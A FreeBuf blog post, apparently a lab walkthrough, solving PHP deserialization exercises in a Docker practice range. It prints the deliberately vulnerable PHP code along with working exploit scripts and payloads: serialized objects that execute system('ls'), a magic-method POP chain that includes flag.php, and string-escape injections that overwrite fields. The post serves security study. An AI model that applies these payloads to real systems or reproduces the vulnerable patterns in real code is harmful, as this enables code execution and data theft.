freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PHP反序列化靶场通关记录-1
2023-04-30 16:39:24
所属地 北京

1 环境配置

靶场:橙子科技反序列化靶场
拉取镜像

$sudo docker pull mcc0624/ser:1.8

运行

$sudo docker run -p 8080:80 -d mcc0624/ser:1.8

image.png
访问8080端口,验证是否搭建成功
image.png

2 靶场WP

0x06 反序列化漏洞例题

源码如下

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    class test{
        public $a = 'echo "this is test!!";';
        public function displayVar() {
            eval($this->a);
        }
    }

    $get = $_GET["benben"];
    $b = unserialize($get);
    $b->displayVar() ;

?>

漏洞成因:unserialize直接反序列化未过滤输入,若能够控制成员$a,可实现php代码执行
利用脚本

<?php
    class test{
        public $a = "system('ls');";
    }
    echo serialize(new test());
?>

运行后结果为O:4:"test":1:{s:1:"a";s:13:"system('ls');";},作为参数传递,成功实现命令执行
注意:eval函数接收php代码,必须以分号结尾,否则无法成功执行
image.png

0x13 POP链例题

pop链构造常规思路:从链尾开始追,直到找到可以利用的入口点
入口常用方法:__wakeup, __construct, __deconstruct, __toString
链中常用方法:__toString, __get/set, __invoke, __call
链尾方法:调用php敏感函数的方法,如file_get_contents, highlightfile, system, exec, eval, assert等
例题代码如下

<?php
    //flag is in flag.php
    highlight_file(__FILE__);
    error_reporting(0);
    class Modifier {
        private $var;
        public function append($value)
        {
            include($value);
            echo $flag;
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }

    class Show{
        public $source;
        public $str;
        public function __toString(){
            return $this->str->source;
        }
        public function __wakeup(){
            echo $this->source;
        }
    }

    class Test{
        public $p;
        public function __construct(){
            $this->p = array();
        }

        public function __get($key){
            $function = $this->p;
            return $function();
        }
    }

    if(isset($_GET['pop'])){
        unserialize($_GET['pop']);
    }
?>

追溯流程

  1. Modifier.append()存在文件包含,控制$value='flag.php'可以实现flag输出

  2. Modifier.__invoke()调用Modifier.append(),控制$var="flag.php"可以触发后续链输出flag

private成员变量修改时格式为\x00类名\x00成员变量名

  1. Test.__get()中调用$function(),若$function为Modifier类,可触发__invoke方法,控制变量$p=new Modifier()

  2. Show.__toString()中访问$this->str->source,若$this->str为Test类,可触发__get方法(访问不存在的成员source)

  3. Show.__wakeup()中echo输出$this->source,若$this->source为Show类,可触发__toString方法(被作为字符串使用)

至此,链子梳理完毕,构造代码如下

<?php
    class Modifier{
        private $var="flag.php";
    }
    class Show{
        public $source;
        public $str;
    }
    class Test{
        public $p;
    }
    $m = new Modifier();
    $t = new Test();
    $t->p = $m;
    $s = new Show();
    $s->str = $t;
    $s->source = $s;
    echo serialize($s);
?>

输出结果为O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"Modifiervar";s:8:"flag.php";}}}
注意:\x00为不可见字符,传递时url编码%00,故最终payload为O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
得到flag
image.png

0x14+0x17 字符逃逸(字符减少)

字符逃逸:php反序列化字符串时根据序列化字符串中字符个数标识识别成员变量的值,如s:1:"a",将"后面的1位识别为值,因此存在如s:1:"a";s:1:"1""时的错位识别。由于php反序列化时以";}识别结束位置,二者配合,构造恶意序列化字符串造成危害

例题代码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    class A{
        public $v1 = "abcsystem()system()system()";
        public $v2 = '123';

        public function __construct($arga,$argc){
                $this->v1 = $arga;
                $this->v2 = $argc;
        }
    }
    $a = $_GET['v1'];
    $b = $_GET['v2'];
    $data = serialize(new A($a,$b));
    $data = str_replace("system()","",$data);
    var_dump(unserialize($data));
?>

可以看到,将system()字符串替换为空,可以逃逸8个字节
正常反序列化时,传入v1=system()&v2=2,结果为O:1:"A":2:{s:2:"v1";s:8:"";s:2:"v2";s:1:"2";},出现错位情况
需要逃逸的字符串为17个,因此修改v1为system()system()system(),v2设置为1111111";s:2:"v2";s:1:"1";},其中1*7作为padding填充,因为3*system()可以逃逸出24个,避免覆盖要修改的变量,实现逃逸,覆盖v2的值,最终结果如下,v2被识别为1
image.png
基于该思路,0x17中覆盖$profile->vip=1,可实现get flag
flag可逃逸2字符,php可逃逸1字符,最终需要逃逸19个字符
payload为user='flag'*10&pass=1";s:4:"pass";s:1:"1";s:3:"vip";s:1:"1";},获取flag
image.png

0x15+0x16 字符逃逸(字符增加)

思路同字符减少一致,区别在于利用位置在增加的字段里
例题代码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    class A{
        public $v1 = 'ls';
        public $v2 = '123';

        public function __construct($arga,$argc){
            $this->v1 = $arga;
            $this->v2 = $argc;
        }
    }
    $a = $_GET['v1'];
    $b = $_GET['v2'];
    $data =  serialize(new A($a,$b));
    $data = str_replace("ls","pwd",$data);

    var_dump(unserialize($data)); 
?>

每次可以逃逸1个字节,正常反序列化时,传入v1=lsls&v2=1,结果为O:1:"A":2:{s:2:"v1";s:6:"pwdpwdpwd";s:2:"v2";s:1:"1";}产生错位
逃逸字符22个,构造payload为v1='ls'*22+";s:2:"v2";s:3:"abc";}&v2=1,最终v2被覆盖为abc
image.png
0x17同理,php可逃逸1字符,确保pass为escaping可get flag,逃逸个数为29
payload为param='php'*29+";s:4:"pass";s:8:"escaping";}
获取flag
image.png

# web安全 # php # php反序列化漏洞 # php反序列化学习
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录